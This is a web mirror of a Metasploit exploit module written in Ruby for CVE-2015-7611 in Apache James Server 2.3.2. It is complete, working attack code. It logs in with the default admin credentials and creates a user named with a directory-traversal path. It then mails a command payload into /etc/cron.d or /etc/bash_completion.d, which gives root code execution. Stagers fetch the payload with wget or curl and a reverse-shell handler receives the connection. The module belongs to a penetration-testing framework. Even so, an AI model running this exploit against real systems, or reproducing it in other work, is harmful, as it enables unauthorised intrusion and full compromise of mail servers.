Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/apache_james_exec.rb
19847 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
17
'Description' => %q{
18
This module exploits a vulnerability that exists due to a lack of input
19
validation when creating a user. Messages for a given user are stored
20
in a directory partially defined by the username. By creating a user
21
with a directory traversal payload as the username, commands can be
22
written to a given directory. To use this module with the cron
23
exploitation method, run the exploit using the given payload, host, and
24
port. After running the exploit, the payload will be executed within 60
25
seconds. Due to differences in how cron may run in certain Linux
26
operating systems such as Ubuntu, it may be preferable to set the
27
target to Bash Completion as the cron method may not work. If the target
28
is set to Bash completion, start a listener using the given payload,
29
host, and port before running the exploit. After running the exploit,
30
the payload will be executed when a user logs into the system. For this
31
exploitation method, bash completion must be enabled to gain code
32
execution. This exploitation method will leave an Apache James mail
33
object artifact in the /etc/bash_completion.d directory and the
34
malicious user account.
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'Palaczynski Jakub', # Discovery
39
'Matthew Aberegg', # Metasploit
40
'Michael Burkey' # Metasploit
41
],
42
'References' => [
43
[ 'CVE', '2015-7611' ],
44
[ 'EDB', '35513' ],
45
[ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
46
],
47
'Platform' => 'linux',
48
'Arch' => [ ARCH_X86, ARCH_X64 ],
49
'Targets' => [
50
[
51
'Bash Completion', {
52
'ExploitPath' => 'bash_completion.d',
53
'ExploitPrepend' => '',
54
'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
55
}
56
],
57
[
58
'Cron', {
59
'ExploitPath' => 'cron.d',
60
'ExploitPrepend' => '* * * * * root ',
61
'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
62
}
63
]
64
],
65
'Privileged' => true,
66
'DisclosureDate' => '2015-10-01',
67
'DefaultTarget' => 1,
68
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
69
'Notes' => {
70
'Reliability' => UNKNOWN_RELIABILITY,
71
'Stability' => UNKNOWN_STABILITY,
72
'SideEffects' => UNKNOWN_SIDE_EFFECTS
73
}
74
)
75
)
76
register_options(
77
[
78
OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
79
OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
80
OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
81
OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
82
Opt::RPORT(25)
83
]
84
)
85
end
86
87
def check
88
# SMTP service check
89
connect
90
smtp_banner = sock.get_once
91
disconnect
92
unless smtp_banner.to_s.include? "JAMES SMTP Server"
93
return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
94
end
95
96
# James Remote Administration Tool service check
97
connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT'] })
98
admin_banner = sock.get_once
99
disconnect
100
unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
101
return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
102
end
103
104
# Get version number
105
version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
106
# Null check
107
unless version
108
return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
109
end
110
111
# Create version objects
112
target_version = Rex::Version.new(version)
113
vulnerable_version = Rex::Version.new("2.3.2")
114
115
# Check version number
116
if target_version > vulnerable_version
117
return CheckCode::Safe
118
elsif target_version == vulnerable_version
119
return CheckCode::Appears
120
elsif target_version < vulnerable_version
121
return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
122
end
123
end
124
125
def execute_james_admin_tool_command(cmd)
126
username = datastore['USERNAME']
127
password = datastore['PASSWORD']
128
connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT'] })
129
sock.get_once
130
sock.puts(username + "\n")
131
sock.get_once
132
sock.puts(password + "\n")
133
sock.get_once
134
sock.puts(cmd)
135
sock.get_once
136
sock.puts("quit\n")
137
disconnect
138
end
139
140
def cleanup
141
return unless target['ExploitPath'] == "cron.d"
142
143
# Delete mail objects containing payload from cron.d
144
username = "../../../../../../../../etc/cron.d"
145
password = @account_password
146
begin
147
connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT'] })
148
sock.get_once
149
sock.puts("USER #{username}\r\n")
150
sock.get_once
151
sock.puts("PASS #{password}\r\n")
152
sock.get_once
153
sock.puts("dele 1\r\n")
154
sock.get_once
155
sock.puts("quit\r\n")
156
disconnect
157
rescue
158
print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
159
end
160
161
# Delete malicious user
162
delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
163
execute_james_admin_tool_command(delete_user_command)
164
end
165
166
def execute_command(cmd, opts = {})
167
# Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
168
exploit_path = target['ExploitPath']
169
@account_password = Rex::Text.rand_text_alpha(8..12)
170
add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
171
execute_james_admin_tool_command(add_user_command)
172
173
# Send payload via SMTP
174
payload_prepend = target['ExploitPrepend']
175
connect
176
sock.puts("ehlo [email protected]\r\n")
177
sock.get_once
178
sock.puts("mail from: <'@apache.com>\r\n")
179
sock.get_once
180
sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
181
sock.get_once
182
sock.puts("data\r\n")
183
sock.get_once
184
sock.puts("From: [email protected]\r\n")
185
sock.puts("\r\n")
186
sock.puts("'\n")
187
sock.puts("#{payload_prepend}#{cmd}\n")
188
sock.puts("\r\n.\r\n")
189
sock.get_once
190
sock.puts("quit\r\n")
191
sock.get_once
192
disconnect
193
end
194
195
def execute_cmdstager_end(opts)
196
if target['ExploitPath'] == "cron.d"
197
print_status("Waiting for cron to execute payload...")
198
else
199
print_status("Payload will be triggered when someone logs onto the target")
200
print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
201
print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
202
end
203
end
204
205
def exploit
206
execute_cmdstager(background: true)
207
end
208
209
end
210
211